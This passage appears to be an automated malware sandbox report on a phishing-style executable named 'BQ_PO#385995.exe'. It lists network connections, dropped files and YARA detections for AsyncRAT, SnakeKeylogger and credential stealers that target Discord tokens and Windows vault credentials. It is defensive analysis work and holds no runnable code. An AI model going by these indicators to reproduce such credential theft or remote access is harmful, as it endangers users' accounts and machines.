Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443

Source: unknown	HTTPS traffic detected: 20.190.177.147:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49947 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.BQ_PO#385995.exe.2760a493c48.3.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.BQ_PO#385995.exe.2760a493c48.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.2.MSBuild.exe.7240000.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 3.2.MSBuild.exe.7240000.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 3.2.MSBuild.exe.45b5fa8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 3.2.MSBuild.exe.45b5fa8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 3.2.MSBuild.exe.45b5fa8.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 3.2.MSBuild.exe.45b5fa8.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 3.2.MSBuild.exe.7240000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 3.2.MSBuild.exe.7240000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 14.0.ubygsn.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.0.ubygsn.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 14.0.ubygsn.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000003.00000002.4586871157.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000003.00000002.4616809591.0000000007240000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000003.00000002.4616809591.0000000007240000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 00000000.00000002.2258559792.000002760A47C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000003.00000002.4606149598.000000000441A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: MSBuild.exe PID: 6524, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: ubygsn.exe PID: 3700, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, type: DROPPED	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, type: DROPPED	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, type: DROPPED	Matched rule: Detects executables with potential process hoocking Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: BQ_PO#385995.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD3447D489	0_2_00007FFD3447D489
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD3447A520	0_2_00007FFD3447A520
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD34477E60	0_2_00007FFD34477E60
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD3447B8BB	0_2_00007FFD3447B8BB
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD34477898	0_2_00007FFD34477898
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD34472158	0_2_00007FFD34472158
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD3447A901	0_2_00007FFD3447A901
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD34472A2C	0_2_00007FFD34472A2C
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD3447C300	0_2_00007FFD3447C300
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD34483457	0_2_00007FFD34483457
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD34479545	0_2_00007FFD34479545
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD3447EE2A	0_2_00007FFD3447EE2A
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD34478F4C	0_2_00007FFD34478F4C
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD344760ED	0_2_00007FFD344760ED
